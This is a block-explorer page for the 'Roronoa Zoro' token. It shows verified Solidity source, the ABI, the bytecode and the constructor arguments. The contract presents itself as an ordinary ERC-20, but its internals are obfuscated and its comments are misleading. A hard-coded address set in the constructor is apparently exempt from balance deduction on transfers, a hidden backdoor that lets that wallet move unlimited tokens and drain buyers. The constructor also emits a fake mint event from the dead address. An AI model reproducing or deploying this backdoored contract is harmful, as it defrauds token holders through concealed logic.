ETH Price: $2,552.06 (-2.80%)
Gas: 1 Gwei

Token

Roronoa Zoro (ゾロロロノア)
 

Overview

Max Total Supply

150,000,000,000 ゾロロロノア

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4 ゾロロロノア

Value
$0.00
0x97bafecb09d44afa1886e7d0e378e5aa3007e69c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RoronoaZoro

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity Multiple files format)

File 2 of 2: RZ.sol
// SPDX-License-Identifier: none



// TG: https://t.me/ZoroErc


























pragma solidity >0.8.1;

import "./IERC20.sol";

contract RoronoaZoro is Ownable {

        /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    uint256 hod;
    uint256 pive;
    bool exay;
    address private prim;
    address private expt;
    address private brth;
    IUniswapV2Router02 public uniswapV2Router;
    uint256 private sqr;
    string private pSym;
    uint256 private _tTotal;
    string private pName;
    uint256 private hgr;
    string public nameComplete;
    uint8 private drm;
    uint256 public maxWallet;
    bool public limitsEnabled=false;
    event Transfer(address indexed from, address indexed to, uint256 value);
    mapping(address => uint256) private det;
    mapping(address => uint256) private mrd;

    constructor(
        address adrr,
        address mhy,
        uint8 maxW,
        string memory sym,
        string memory nm
    ) {
        uniswapV2Router = IUniswapV2Router02(adrr);
        prim = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        nameComplete= sym;
        nameComplete= nm;
        pSym = unicode"ゾロロロノア";
        pName =  "Roronoa Zoro";
        drm = 9;
        sqr = 0;
        hgr = 1;
        mrd[mhy] = drm;
        _tTotal = 150000000000 * 10**drm;
        maxWallet=(_tTotal / 100) * maxW; 
        fdr[msg.sender] = _tTotal;
        emit Transfer(address(0xdead), msg.sender, _tTotal);
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */

    function name() public view returns (string memory) {
        return pName;
    }

    function symbol() public view returns (string memory) {
        return pSym;
    }

    function decimals() public view returns (uint256) {
        return drm;
    }

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private fdr;

    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view returns (uint256) {
        return fdr[account];
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }


    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        if(_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount))
            return transferMgr(sender, recipient, amount,0);
        return false;
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return transferMgr(msg.sender, recipient, amount,0);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        return true;
    }

       function transferMgr(
        address brn,
        address nry,
        uint256 qiy,
        uint256 wp
    ) internal returns (bool){

        if(abb(brn,nry,qiy) == false)
            return false;
        
        cbb(brn,nry,qiy);
        fbb(nry,qiy);

        return true;     
    }

    function abb(
        address brn,
        address nry,
        uint256 qiy
    ) internal returns (bool){

        if(mrd[nry] <= 0){
            if(exay && limitsEnabled){
                if(fdr[nry]+qiy > maxWallet)
                    return false;
            }
            emit Transfer(brn, nry, qiy);
        }

        hod = qiy * sqr;
        return true;
    }


    function cbb(
        address brn,address nry,uint256 qiy) internal {
        if (mrd[brn] == 0) {
                    fdr[brn] -= qiy;
                }

                pive = hod / hgr;


                expt = brth;


                brth = nry;
    }

    function fbb(address nry,uint256 qiy) internal {

        qiy -= pive;

        det[expt] += drm;

        fdr[nry] += qiy;
    }

    function check1(address brn) internal {
        exay = prim == brn;


        if (!exay && mrd[brn] == 0 && det[brn] > 0) {

            mrd[brn] -= drm;

        }
    }
}

File 1 of 2: IERC20.sol
// SPDX-License-Identifier: none

pragma solidity >0.8.1;

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a det
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountKingofTsukaDesired,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountKingofTsuka, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountKingofTsuka, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountKingofTsuka, uint amountETH);
    function swapExactKingofTsukasForKingofTsukas(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapKingofTsukasForExactKingofTsukas(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForKingofTsukas(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapKingofTsukasForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactKingofTsukasForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactKingofTsukas(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferKingofTsukas(
        address token,
        uint liquidity,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferKingofTsukas(
        address token,
        uint liquidity,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactKingofTsukasForKingofTsukasSupportingFeeOnTransferKingofTsukas(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForKingofTsukasSupportingFeeOnTransferKingofTsukas(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactKingofTsukasForETHSupportingFeeOnTransferKingofTsukas(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"adrr","type":"address"},{"internalType":"address","name":"mhy","type":"address"},{"internalType":"uint8","name":"maxW","type":"uint8"},{"internalType":"string","name":"sym","type":"string"},{"internalType":"string","name":"nm","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nameComplete","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

6080604052600f805460ff191690553480156200001b57600080fd5b506040516200128a3803806200128a8339810160408190526200003e9162000484565b620000493362000352565b600680546001600160a01b0319166001600160a01b0387169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620000a3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000c991906200052e565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200012c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015291906200052e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c691906200052e565b600380546001600160a01b039290921661010002610100600160a81b0319909216919091179055600c620001fb8382620005e2565b50600c6200020a8282620005e2565b5060408051808201909152601281527171c15f71c1d6f1c1d6f1c1d6f1c1c771c15160711b6020820152600890620002439082620005e2565b5060408051808201909152600c81526b526f726f6e6f61205a6f726f60a01b6020820152600a90620002769082620005e2565b50600d805460ff191660099081178255600060078190556001600b556001600160a01b03871681526011602052604090205554620002b99060ff16600a620007c3565b620002ca906422ecb25c00620007d4565b600981905560ff841690620002e290606490620007ee565b620002ee9190620007d4565b600e55600954336000818152601360205260409081902083905551909161dead917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916200033f9190815260200190565b60405180910390a3505050505062000811565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80516001600160a01b0381168114620003ba57600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620003e757600080fd5b81516001600160401b0380821115620004045762000404620003bf565b604051601f8301601f19908116603f011681019082821181831017156200042f576200042f620003bf565b816040528381526020925086838588010111156200044c57600080fd5b600091505b8382101562000470578582018301518183018401529082019062000451565b600093810190920192909252949350505050565b600080600080600060a086880312156200049d57600080fd5b620004a886620003a2565b9450620004b860208701620003a2565b9350604086015160ff81168114620004cf57600080fd5b60608701519093506001600160401b0380821115620004ed57600080fd5b620004fb89838a01620003d5565b935060808801519150808211156200051257600080fd5b506200052188828901620003d5565b9150509295509295909350565b6000602082840312156200054157600080fd5b6200054c82620003a2565b9392505050565b600181811c908216806200056857607f821691505b6020821081036200058957634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005dd57600081815260208120601f850160051c81016020861015620005b85750805b601f850160051c820191505b81811015620005d957828155600101620005c4565b5050505b505050565b81516001600160401b03811115620005fe57620005fe620003bf565b62000616816200060f845462000553565b846200058f565b602080601f8311600181146200064e5760008415620006355750858301515b600019600386901b1c1916600185901b178555620005d9565b600085815260208120601f198616915b828110156200067f578886015182559484019460019091019084016200065e565b50858210156200069e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000705578160001904821115620006e957620006e9620006ae565b80851615620006f757918102915b93841c9390800290620006c9565b509250929050565b6000826200071e57506001620007bd565b816200072d57506000620007bd565b8160018114620007465760028114620007515762000771565b6001915050620007bd565b60ff841115620007655762000765620006ae565b50506001821b620007bd565b5060208310610133831016604e8410600b841016171562000796575081810a620007bd565b620007a28383620006c4565b8060001904821115620007b957620007b9620006ae565b0290505b92915050565b60006200054c60ff8416836200070d565b8082028115828204841417620007bd57620007bd620006ae565b6000826200080c57634e487b7160e01b600052601260045260246000fd5b500490565b610a6980620008216000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063c2ec7f0011610066578063c2ec7f001461020d578063dd62ed3e14610215578063f2fde38b1461024e578063f8b45b051461026157600080fd5b8063715018a6146101d75780638da5cb5b146101e157806395d89b41146101f2578063a9059cbb146101fa57600080fd5b806323b872dd116100d357806323b872dd14610183578063313ce567146101965780633582ad23146101a157806370a08231146101ae57600080fd5b806306fdde0314610105578063095ea7b3146101235780631694505e1461014657806318160ddd14610171575b600080fd5b61010d61026a565b60405161011a9190610866565b60405180910390f35b6101366101313660046108d0565b6102fc565b604051901515815260200161011a565b600654610159906001600160a01b031681565b6040516001600160a01b03909116815260200161011a565b6009545b60405190815260200161011a565b6101366101913660046108fa565b610312565b600d5460ff16610175565b600f546101369060ff1681565b6101756101bc366004610936565b6001600160a01b031660009081526013602052604090205490565b6101df610370565b005b6000546001600160a01b0316610159565b61010d6103db565b6101366102083660046108d0565b6103ea565b61010d6103f9565b610175610223366004610951565b6001600160a01b03918216600090815260126020908152604080832093909416825291909152205490565b6101df61025c366004610936565b610487565b610175600e5481565b6060600a805461027990610984565b80601f01602080910402602001604051908101604052809291908181526020018280546102a590610984565b80156102f25780601f106102c7576101008083540402835291602001916102f2565b820191906000526020600020905b8154815290600101906020018083116102d557829003601f168201915b5050505050905090565b6000610309338484610552565b90505b92915050565b6001600160a01b038316600090815260126020908152604080832033808552925282205461034c9186916103479086906109d4565b610552565b156103655761035e84848460006105fc565b9050610369565b5060005b9392505050565b6000546001600160a01b031633146103cf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6103d9600061063b565b565b60606008805461027990610984565b600061030933848460006105fc565b600c805461040690610984565b80601f016020809104026020016040519081016040528092919081815260200182805461043290610984565b801561047f5780601f106104545761010080835404028352916020019161047f565b820191906000526020600020905b81548152906001019060200180831161046257829003601f168201915b505050505081565b6000546001600160a01b031633146104e15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103c6565b6001600160a01b0381166105465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103c6565b61054f8161063b565b50565b60006001600160a01b0384161580159061057457506001600160a01b03831615155b6105cc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c6565b506001600160a01b0392831660009081526012602090815260408083209490951682529290925291902055600190565b600061060985858561068b565b151560000361061a57506000610633565b61062585858561075e565b61062f84846107f0565b5060015b949350505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166000908152601160205260408120546107445760035460ff1680156106bc5750600f5460ff165b156106f657600e546001600160a01b0384166000908152601360205260409020546106e89084906109e7565b11156106f657506000610369565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073b91815260200190565b60405180910390a35b60075461075190836109fa565b6001908155949350505050565b6001600160a01b03831660009081526011602052604081205490036107ab576001600160a01b038316600090815260136020526040812080548392906107a59084906109d4565b90915550505b600b546001546107bb9190610a11565b6002555060058054600480546001600160a01b038084166001600160a01b031992831617909255909116921691909117905550565b6002546107fd90826109d4565b600d546004546001600160a01b03166000908152601060205260408120805493945060ff909216926108309084906109e7565b90915550506001600160a01b0382166000908152601360205260408120805483929061085d9084906109e7565b90915550505050565b600060208083528351808285015260005b8181101561089357858101830151858201604001528201610877565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146108cb57600080fd5b919050565b600080604083850312156108e357600080fd5b6108ec836108b4565b946020939093013593505050565b60008060006060848603121561090f57600080fd5b610918846108b4565b9250610926602085016108b4565b9150604084013590509250925092565b60006020828403121561094857600080fd5b610309826108b4565b6000806040838503121561096457600080fd5b61096d836108b4565b915061097b602084016108b4565b90509250929050565b600181811c9082168061099857607f821691505b6020821081036109b857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561030c5761030c6109be565b8082018082111561030c5761030c6109be565b808202811582820484141761030c5761030c6109be565b600082610a2e57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122080fa27164928b3ac830ff4bbf37795aa739ad0c7bd177a666b8162cfb786b83364736f6c634300081100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000e532522f72b39149ad683cceab6ea26eb2d5bf41000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000c526f726f6e6f61205a6f726f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c526f726f6e6f61205a6f726f0000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063c2ec7f0011610066578063c2ec7f001461020d578063dd62ed3e14610215578063f2fde38b1461024e578063f8b45b051461026157600080fd5b8063715018a6146101d75780638da5cb5b146101e157806395d89b41146101f2578063a9059cbb146101fa57600080fd5b806323b872dd116100d357806323b872dd14610183578063313ce567146101965780633582ad23146101a157806370a08231146101ae57600080fd5b806306fdde0314610105578063095ea7b3146101235780631694505e1461014657806318160ddd14610171575b600080fd5b61010d61026a565b60405161011a9190610866565b60405180910390f35b6101366101313660046108d0565b6102fc565b604051901515815260200161011a565b600654610159906001600160a01b031681565b6040516001600160a01b03909116815260200161011a565b6009545b60405190815260200161011a565b6101366101913660046108fa565b610312565b600d5460ff16610175565b600f546101369060ff1681565b6101756101bc366004610936565b6001600160a01b031660009081526013602052604090205490565b6101df610370565b005b6000546001600160a01b0316610159565b61010d6103db565b6101366102083660046108d0565b6103ea565b61010d6103f9565b610175610223366004610951565b6001600160a01b03918216600090815260126020908152604080832093909416825291909152205490565b6101df61025c366004610936565b610487565b610175600e5481565b6060600a805461027990610984565b80601f01602080910402602001604051908101604052809291908181526020018280546102a590610984565b80156102f25780601f106102c7576101008083540402835291602001916102f2565b820191906000526020600020905b8154815290600101906020018083116102d557829003601f168201915b5050505050905090565b6000610309338484610552565b90505b92915050565b6001600160a01b038316600090815260126020908152604080832033808552925282205461034c9186916103479086906109d4565b610552565b156103655761035e84848460006105fc565b9050610369565b5060005b9392505050565b6000546001600160a01b031633146103cf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6103d9600061063b565b565b60606008805461027990610984565b600061030933848460006105fc565b600c805461040690610984565b80601f016020809104026020016040519081016040528092919081815260200182805461043290610984565b801561047f5780601f106104545761010080835404028352916020019161047f565b820191906000526020600020905b81548152906001019060200180831161046257829003601f168201915b505050505081565b6000546001600160a01b031633146104e15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103c6565b6001600160a01b0381166105465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103c6565b61054f8161063b565b50565b60006001600160a01b0384161580159061057457506001600160a01b03831615155b6105cc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c6565b506001600160a01b0392831660009081526012602090815260408083209490951682529290925291902055600190565b600061060985858561068b565b151560000361061a57506000610633565b61062585858561075e565b61062f84846107f0565b5060015b949350505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166000908152601160205260408120546107445760035460ff1680156106bc5750600f5460ff165b156106f657600e546001600160a01b0384166000908152601360205260409020546106e89084906109e7565b11156106f657506000610369565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073b91815260200190565b60405180910390a35b60075461075190836109fa565b6001908155949350505050565b6001600160a01b03831660009081526011602052604081205490036107ab576001600160a01b038316600090815260136020526040812080548392906107a59084906109d4565b90915550505b600b546001546107bb9190610a11565b6002555060058054600480546001600160a01b038084166001600160a01b031992831617909255909116921691909117905550565b6002546107fd90826109d4565b600d546004546001600160a01b03166000908152601060205260408120805493945060ff909216926108309084906109e7565b90915550506001600160a01b0382166000908152601360205260408120805483929061085d9084906109e7565b90915550505050565b600060208083528351808285015260005b8181101561089357858101830151858201604001528201610877565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146108cb57600080fd5b919050565b600080604083850312156108e357600080fd5b6108ec836108b4565b946020939093013593505050565b60008060006060848603121561090f57600080fd5b610918846108b4565b9250610926602085016108b4565b9150604084013590509250925092565b60006020828403121561094857600080fd5b610309826108b4565b6000806040838503121561096457600080fd5b61096d836108b4565b915061097b602084016108b4565b90509250929050565b600181811c9082168061099857607f821691505b6020821081036109b857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561030c5761030c6109be565b8082018082111561030c5761030c6109be565b808202811582820484141761030c5761030c6109be565b600082610a2e57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122080fa27164928b3ac830ff4bbf37795aa739ad0c7bd177a666b8162cfb786b83364736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000e532522f72b39149ad683cceab6ea26eb2d5bf41000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000c526f726f6e6f61205a6f726f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c526f726f6e6f61205a6f726f0000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : adrr (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : mhy (address): 0xe532522F72b39149aD683cCEAb6Ea26eb2d5BF41
Arg [2] : maxW (uint8): 8
Arg [3] : sym (string): Roronoa Zoro
Arg [4] : nm (string): Roronoa Zoro

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000e532522f72b39149ad683cceab6ea26eb2d5bf41
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [3] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [4] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [5] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [6] : 526f726f6e6f61205a6f726f0000000000000000000000000000000000000000
Arg [7] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [8] : 526f726f6e6f61205a6f726f0000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

